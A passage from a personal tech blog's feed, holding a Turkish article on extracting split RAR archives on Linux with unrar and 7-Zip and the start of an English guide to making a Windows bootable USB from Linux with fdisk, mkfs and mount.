rel="alternate"/><published>2025-11-12T16:00:00+03:00</published><updated>2025-11-12T16:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-12:/bolunmus-rar-dosyalarini-cikarmanin-en-kolay-yolu/</id><summary type="html">&lt;p&gt;Linux sistemlerde .part1.rar, .part2.rar gibi bölünmüş RAR arşivlerini unrar ve 7-Zip araçlarıyla hızlı ve güvenli şekilde açmanın güncel yöntemi.&lt;/p&gt;</summary><content type="html">&lt;h2 id="giris"&gt;Giri&amp;scedil;&lt;a class="headerlink" href="#giris" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Linux ortam&amp;inodot;nda s&amp;inodot;k kar&amp;scedil;&amp;inodot;la&amp;scedil;&amp;inodot;lan bir durum: bir ar&amp;scedil;iv &amp;ldquo;dosya.part1.rar&amp;rdquo;, &amp;ldquo;dosya.part2.rar&amp;rdquo; gibi par&amp;ccedil;alara b&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil;. Bu durumda do&amp;gbreve;ru arac&amp;inodot; se&amp;ccedil;mek ve t&amp;uuml;m par&amp;ccedil;alar&amp;inodot;n ayn&amp;inodot; dizinde oldu&amp;gbreve;undan emin olmak i&amp;scedil;i ciddi &amp;ouml;l&amp;ccedil;&amp;uuml;de kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;r. A&amp;scedil;a&amp;gbreve;&amp;inodot;da, 2025 y&amp;inodot;l&amp;inodot; itibar&amp;inodot;yla ge&amp;ccedil;erli y&amp;ouml;ntemlerle bu t&amp;uuml;r &lt;strong&gt;b&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil; RAR dosyalar&amp;inodot;n&amp;inodot;n&lt;/strong&gt; nas&amp;inodot;l &amp;ccedil;&amp;inodot;kar&amp;inodot;laca&amp;gbreve;&amp;inodot;n&amp;inodot; anlat&amp;inodot;yorum.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="rar-biciminin-ozellikleri"&gt;RAR Bi&amp;ccedil;iminin &amp;Ouml;zellikleri&lt;a class="headerlink" href="#rar-biciminin-ozellikleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;RAR ar&amp;scedil;iv bi&amp;ccedil;imi, Eugene Roshal taraf&amp;inodot;ndan geli&amp;scedil;tirilmi&amp;scedil; ve RARLab firmas&amp;inodot;na ait &amp;ouml;zel bir formatt&amp;inodot;r.
Bu &amp;ouml;zel lisansl&amp;inodot; yap&amp;inodot; nedeniyle bir&amp;ccedil;ok Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;m&amp;inodot;nda &amp;ldquo;destek paketi&amp;rdquo; olarak sunulur; a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.tar.gz&lt;/code&gt;, &lt;code&gt;.tar.zst&lt;/code&gt; gibi bi&amp;ccedil;imlerle k&amp;inodot;yasland&amp;inodot;&amp;gbreve;&amp;inodot;nda ek ad&amp;inodot;mlar gerektirir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="1-unrar-ile-ckarma"&gt;1️⃣ &lt;code&gt;unrar&lt;/code&gt; ile &amp;Ccedil;&amp;inodot;karma&lt;a class="headerlink" href="#1-unrar-ile-ckarma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Resm&amp;icirc; komut sat&amp;inodot;r&amp;inodot; arac&amp;inodot; &lt;code&gt;unrar&lt;/code&gt;, b&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil; RAR ar&amp;scedil;ivlerini do&amp;gbreve;rudan i&amp;scedil;leyebilir. Ayr&amp;inodot;ca 2025 itibar&amp;inodot;yla pek &amp;ccedil;ok da&amp;gbreve;&amp;inodot;t&amp;inodot;mda aktif duruma ge&amp;ccedil;mi&amp;scedil;tir.&lt;/p&gt;
&lt;h3 id="kurulum"&gt;Kurulum&lt;a class="headerlink" href="#kurulum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;update
sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;unrar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fedora/RHEL&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;dnf&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;unrar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;unrar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="kullanm"&gt;Kullan&amp;inodot;m&lt;a class="headerlink" href="#kullanm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;T&amp;uuml;m par&amp;ccedil;a dosyalar&amp;inodot;n&amp;inodot;n ayn&amp;inodot; klas&amp;ouml;rde oldu&amp;gbreve;undan emin olun ve ilk par&amp;ccedil;ay&amp;inodot; &amp;scedil;u &amp;scedil;ekilde a&amp;ccedil;&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;unrar&lt;span class="w"&gt; &lt;/span&gt;x&lt;span class="w"&gt; &lt;/span&gt;dosya.part1.rar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Komut, &lt;code&gt;part1&lt;/code&gt; sonras&amp;inodot; gelen t&amp;uuml;m par&amp;ccedil;alar&amp;inodot; otomatik tan&amp;inodot;r ve &amp;ccedil;&amp;inodot;kt&amp;inodot;lar&amp;inodot; i&amp;scedil;ler.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;E&amp;gbreve;er ar&amp;scedil;iv T&amp;uuml;rk&amp;ccedil;e karakter i&amp;ccedil;eriyorsa ve &amp;ccedil;&amp;inodot;kt&amp;inodot;da bozulma g&amp;ouml;r&amp;uuml;yorsan&amp;inodot;z terminal kod sayfas&amp;inodot;n&amp;inodot; &lt;code&gt;LC_ALL=C&lt;/code&gt; olarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmay&amp;inodot; deneyin.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="2-7-zip-veya-7zz-ile-alternatif-yontem_1"&gt;2️⃣ &lt;code&gt;7-Zip&lt;/code&gt; veya &lt;code&gt;7zz&lt;/code&gt; ile Alternatif Y&amp;ouml;ntem&lt;a class="headerlink" href="#2-7-zip-veya-7zz-ile-alternatif-yontem" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;7‑Zip Linux versiyonlar&amp;inodot; (&lt;code&gt;7zz&lt;/code&gt;, &lt;code&gt;p7zip-full&lt;/code&gt; gibi) b&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil; RAR ar&amp;scedil;ivlerini destekler. &amp;Ouml;zellikle RAR5 bi&amp;ccedil;imiyle uyumlulu&amp;gbreve;u artm&amp;inodot;&amp;scedil;t&amp;inodot;r.&lt;/p&gt;
&lt;h3 id="kurulum_1"&gt;Kurulum&lt;a class="headerlink" href="#kurulum_1" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;p7zip-full
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Arch Linux kullan&amp;inodot;c&amp;inodot;lar&amp;inodot; i&amp;ccedil;in:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;p7zip
&lt;span class="c1"&gt;#veya Aur'dan:&lt;/span&gt;
yay&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt;  &lt;/span&gt;p7zip-full-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="kullanm_1"&gt;Kullan&amp;inodot;m&lt;a class="headerlink" href="#kullanm_1" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;7zz&lt;span class="w"&gt; &lt;/span&gt;x&lt;span class="w"&gt; &lt;/span&gt;dosya.part1.rar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komut da, uygun paket i&amp;ccedil;eriyorsa, par&amp;ccedil;alar&amp;inodot; alg&amp;inodot;lar ve &amp;ccedil;&amp;inodot;karma i&amp;scedil;lemini tamamlar.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Baz&amp;inodot; da&amp;gbreve;&amp;inodot;t&amp;inodot;mlarda &lt;code&gt;p7zip-full&lt;/code&gt; paketinde RAR deste&amp;gbreve;i eksik olabilir &amp;ndash; bu durumda &lt;code&gt;unrar&lt;/code&gt; tercih edilmelidir.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="3-grafik-arayuzle-ckarma_1"&gt;3️⃣ Grafik Aray&amp;uuml;zle &amp;Ccedil;&amp;inodot;karma&lt;a class="headerlink" href="#3-grafik-arayuzle-ckarma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Masa&amp;uuml;st&amp;uuml; kullan&amp;inodot;c&amp;inodot;ysan&amp;inodot;z, ar&amp;scedil;iv y&amp;ouml;neticinizin sa&amp;gbreve; t&amp;inodot;klama se&amp;ccedil;ene&amp;gbreve;iyle &amp;ccedil;&amp;inodot;karma i&amp;scedil;lemi yeterli olabilir. &amp;Ouml;rne&amp;gbreve;in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;File Roller (GNOME)&lt;/li&gt;
&lt;li&gt;Ark (KDE)&lt;/li&gt;
&lt;li&gt;Xarchiver (XFCE)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bu ara&amp;ccedil;lar &amp;ccedil;o&amp;gbreve;u zaman &lt;code&gt;.part1.rar&lt;/code&gt; dosyas&amp;inodot;na sa&amp;gbreve; t&amp;inodot;klay&amp;inodot;p &amp;ldquo;&amp;Ccedil;&amp;inodot;kar&amp;rdquo; dedi&amp;gbreve;inizde di&amp;gbreve;er par&amp;ccedil;alar&amp;inodot; da alg&amp;inodot;lar.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Par&amp;ccedil;alardan biri eksik veya farkl&amp;inodot; dizindeyse &amp;ccedil;&amp;inodot;karma i&amp;scedil;lemi hata verir ya da eksik veri b&amp;inodot;rakabilir.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="alternatif-formatlar-dusunmek"&gt;Alternatif Formatlar&amp;inodot; D&amp;uuml;&amp;scedil;&amp;uuml;nmek&lt;a class="headerlink" href="#alternatif-formatlar-dusunmek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er kendi ar&amp;scedil;ivlerinizi olu&amp;scedil;turuyorsan&amp;inodot;z, &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.tar.gz&lt;/code&gt;, &lt;code&gt;.tar.xz&lt;/code&gt; veya &lt;code&gt;.tar.zst&lt;/code&gt; gibi a&amp;ccedil;&amp;inodot;k bi&amp;ccedil;imleri tercih etmeniz faydal&amp;inodot; olabilir. Bunlar lisans k&amp;inodot;s&amp;inodot;t&amp;inodot; i&amp;ccedil;ermez ve t&amp;uuml;m Linux da&amp;gbreve;&amp;inodot;t&amp;inodot;mlar&amp;inodot;nda do&amp;gbreve;rudan desteklenebilir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc"&gt;Sonu&amp;ccedil;&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;B&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil; RAR dosyalar&amp;inodot; art&amp;inodot;k Linux&amp;rsquo;ta bir engel de&amp;gbreve;il. &lt;code&gt;unrar&lt;/code&gt; ya da &lt;code&gt;7zz&lt;/code&gt; gibi ara&amp;ccedil;larla birka&amp;ccedil; komutla a&amp;ccedil;abilirsiniz. Ar&amp;scedil;iv olu&amp;scedil;tururken ise a&amp;ccedil;&amp;inodot;k s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma bi&amp;ccedil;imlerini tercih etmek hem ta&amp;scedil;&amp;inodot;nabilirli&amp;gbreve;i hem sorunsuz uyumlulu&amp;gbreve;u art&amp;inodot;r&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;&lt;img alt="B&amp;ouml;l&amp;uuml;nm&amp;uuml;&amp;scedil; RAR Dosyalar&amp;inodot;n&amp;inodot; &amp;Ccedil;&amp;inodot;karman&amp;inodot;n En Kolay Yolu" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bolunmus-rar-dosyalarini-cikarma-xl.webp" srcset="/images/bolunmus-rar-dosyalarini-cikarma-sm.webp 300w, /images/bolunmus-rar-dosyalarini-cikarma-md.webp 500w, /images/bolunmus-rar-dosyalarini-cikarma-lg.webp 800w, /images/bolunmus-rar-dosyalarini-cikarma-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Linux"/><category term="rar"/><category term="linux"/><category term="unrar"/><category term="7zip"/><category term="arşiv"/></entry><entry><title>Guide to Booting ISO from a USB Stick</title><link href="https://yuceltoluyag.github.io/en/usb-bellekten-iso-onyukleme-rehberi/" rel="alternate"/><published>2025-11-11T17:00:00+03:00</published><updated>2025-11-11T17:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-11:/en/usb-bellekten-iso-onyukleme-rehberi/</id><summary type="html">&lt;p&gt;If you want to make an ISO file bootable by correctly writing it to a USB drive, this guide will walk you through it step by step.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Creating a bootable USB drive is a fundamental skill for both IT professionals and tech enthusiasts.
In this article, you will learn step-by-step how to create a &lt;strong&gt;Windows bootable USB drive&lt;/strong&gt; on Linux using only terminal commands.
Whether you are setting up a new system, repairing an existing one, or just need a reliable portable installer&amp;mdash;this guide is for you.&lt;/p&gt;
&lt;p&gt;We will cover each step individually: from preparing your USB drive and partitioning it, to writing the Windows ISO file to the USB, all done directly with terminal commands.&lt;/p&gt;
&lt;h2 id="the-difference-between-linux-isohybrid-and-windows-iso"&gt;The Difference Between Linux ISOHybrid and Windows ISO&lt;a class="headerlink" href="#the-difference-between-linux-isohybrid-and-windows-iso" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When creating a bootable USB drive, it is crucial to understand the differences between &lt;strong&gt;Linux ISOHybrid images&lt;/strong&gt; and &lt;strong&gt;Windows ISO images&lt;/strong&gt;.
Although both serve as installation media, their design, functionality, and use cases differ. These differences affect how the images interact with USB drives and how tools like &lt;code&gt;dd&lt;/code&gt; or specialized utilities should be used.&lt;/p&gt;
&lt;p&gt;This distinction becomes particularly important when &lt;strong&gt;creating a Windows bootable USB in a Linux environment&lt;/strong&gt;, as this process often requires more steps than working with a Linux ISOHybrid.
Let's now delve into the details to better understand these formats and their impact on the process of creating a bootable USB.&lt;/p&gt;
&lt;p&gt;This context will help you understand the specific challenges and solutions encountered when working with a Windows ISO on Linux.&lt;/p&gt;
&lt;h3 id="what-is-a-hybrid-iso"&gt;What is a Hybrid ISO?&lt;a class="headerlink" href="#what-is-a-hybrid-iso" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;A Hybrid ISO is a special type of ISO that can function both as a classic optical disc (CD/DVD) image and as a &lt;strong&gt;bootable image&lt;/strong&gt; on devices like USB drives.
Traditionally, ISO files are designed to be written to a CD or DVD. Hybrid ISOs extend this functionality; the same file can be written directly to a USB drive &lt;strong&gt;without any additional modifications&lt;/strong&gt; and become bootable.&lt;/p&gt;
&lt;p&gt;This dual functionality is possible because it includes both the ISO9660 file system for CD/DVD compatibility and an &lt;strong&gt;MBR (Master Boot Record)&lt;/strong&gt; structure that provides USB boot support.&lt;/p&gt;
&lt;h3 id="how-to-tell-if-an-iso-is-hybrid"&gt;How to Tell if an ISO is Hybrid&lt;a class="headerlink" href="#how-to-tell-if-an-iso-is-hybrid" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;You can use the following methods to determine if an ISO is hybrid:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check with the &lt;code&gt;file&lt;/code&gt; Command&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code&gt;file&lt;/code&gt; command provides information about the structure of the ISO:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;file&lt;span class="w"&gt; &lt;/span&gt;path/to/image.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For a hybrid ISO, the output usually includes the phrase "(DOS/MBR boot sector)".&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Examine the MBR with &lt;code&gt;fdisk&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hybrid ISOs contain an MBR to support booting from USB. You can check this with &lt;code&gt;fdisk&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;path/to/image.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you see bootable partition information (e.g., a single partition), the ISO is likely hybrid.
For a non-hybrid ISO, partition details will not be displayed.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check the El Torito Boot Record&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hybrid ISOs use the &lt;strong&gt;El Torito&lt;/strong&gt;&lt;sup id="fnref:El-Torito"&gt;&lt;a class="footnote-ref" href="#fn:El-Torito"&gt;1&lt;/a&gt;&lt;/sup&gt; standard. You can verify this with the &lt;code&gt;xorriso&lt;/code&gt; tool:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;xorriso&lt;span class="w"&gt; &lt;/span&gt;-indev&lt;span class="w"&gt; &lt;/span&gt;path/to/image.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the output under the &lt;code&gt;Boot record&lt;/code&gt; section contains information about the bootloader and partition table, the ISO is bootable.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="requirements_1"&gt;Requirements&lt;a class="headerlink" href="#requirements" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before starting the process, make sure you have the following ready:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Windows ISO file:&lt;/strong&gt;
   Download the official ISO file from the &lt;a href="https://www.microsoft.com/en-us/windows/?r=1" rel="noopener noreferrer" target="_blank"&gt;Microsoft website&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;USB drive:&lt;/strong&gt;
   It should have at least 8 GB of free space. Back up any important data as all content will be erased.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Linux terminal access:&lt;/strong&gt;
   All commands will be run through the terminal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="step-1-identify-your-usb-drive"&gt;Step 1: Identify Your USB Drive&lt;a class="headerlink" href="#step-1-identify-your-usb-drive" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Plug in your USB drive and open the terminal. Run the following command to determine the device name:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lsblk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In the output, you will typically see a name like &lt;code&gt;/dev/sdX&lt;/code&gt;.
The letter &lt;code&gt;X&lt;/code&gt; represents the drive letter&amp;mdash;carefully note the correct drive.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="step-2-partition-the-usb-drive"&gt;Step 2: Partition the USB Drive&lt;a class="headerlink" href="#step-2-partition-the-usb-drive" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Before formatting, you need to create the necessary partitions on the USB drive. Use the &lt;code&gt;fdisk&lt;/code&gt; tool for this.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;To avoid errors during partitioning and formatting, unmount any existing partitions on the USB beforehand:&lt;/p&gt;
&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;umount&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Replace &lt;code&gt;/dev/sdX*&lt;/code&gt; with the appropriate partitions of your USB drive.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start the &lt;code&gt;fdisk&lt;/code&gt; tool:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;fdisk&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Follow these steps within &lt;code&gt;fdisk&lt;/code&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press &lt;code&gt;g&lt;/code&gt; to create a new &lt;strong&gt;GPT&lt;/strong&gt; partition table.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;n&lt;/code&gt; to add a new partition.&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;p&lt;/code&gt; to create a primary partition.&lt;/li&gt;
&lt;li&gt;Create the first partition, leaving a small amount of space for the boot partition (about 1 MB is sufficient).&lt;/li&gt;
&lt;li&gt;Allocate the remaining space for the second partition.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;In a Windows environment, the operating system on removable drives typically recognizes &lt;strong&gt;only the first primary partition&lt;/strong&gt;. Therefore, the data partition that will be accessible by Windows should be the &lt;strong&gt;first&lt;/strong&gt;, and the boot partition containing system files should be the &lt;strong&gt;second&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Set the file system type to &lt;code&gt;Microsoft basic data&lt;/code&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press &lt;code&gt;t&lt;/code&gt; and select type number &lt;code&gt;11&lt;/code&gt; for both partitions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set the bootable flag:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press &lt;code&gt;A&lt;/code&gt; to select the partition to be made bootable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Save changes and exit:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Press &lt;code&gt;r&lt;/code&gt; to exit expert mode.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;w&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="step-3-format-the-usb-drive"&gt;Step 3: Format the USB Drive&lt;a class="headerlink" href="#step-3-format-the-usb-drive" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Use &lt;strong&gt;NTFS&lt;/strong&gt; for the data partition and &lt;strong&gt;FAT32&lt;/strong&gt; for the boot partition.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;For NTFS:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkfs.ntfs&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;For FAT32:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkfs.vfat&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Replace &lt;code&gt;/dev/sdX1&lt;/code&gt; and &lt;code&gt;/dev/sdX2&lt;/code&gt; with the correct partitions.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="step-4-copy-windows-iso-files-to-the-usb"&gt;Step 4: Copy Windows ISO Files to the USB&lt;a class="headerlink" href="#step-4-copy-windows-iso-files-to-the-usb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Mount the ISO file and the USB drive, then copy the contents:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create mount points:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/mnt/drive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mount the ISO:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;loop&lt;span class="w"&gt; &lt;/span&gt;/path/to/your.iso&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso
sudo&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;/dev/sdX1&lt;span class="w"&gt; &lt;/span&gt;/mnt/drive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Copy the files:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;/mnt/iso/*&lt;span class="w"&gt; &lt;/span&gt;/mnt/drive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;This process can take up to 10 minutes depending on your USB speed.&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
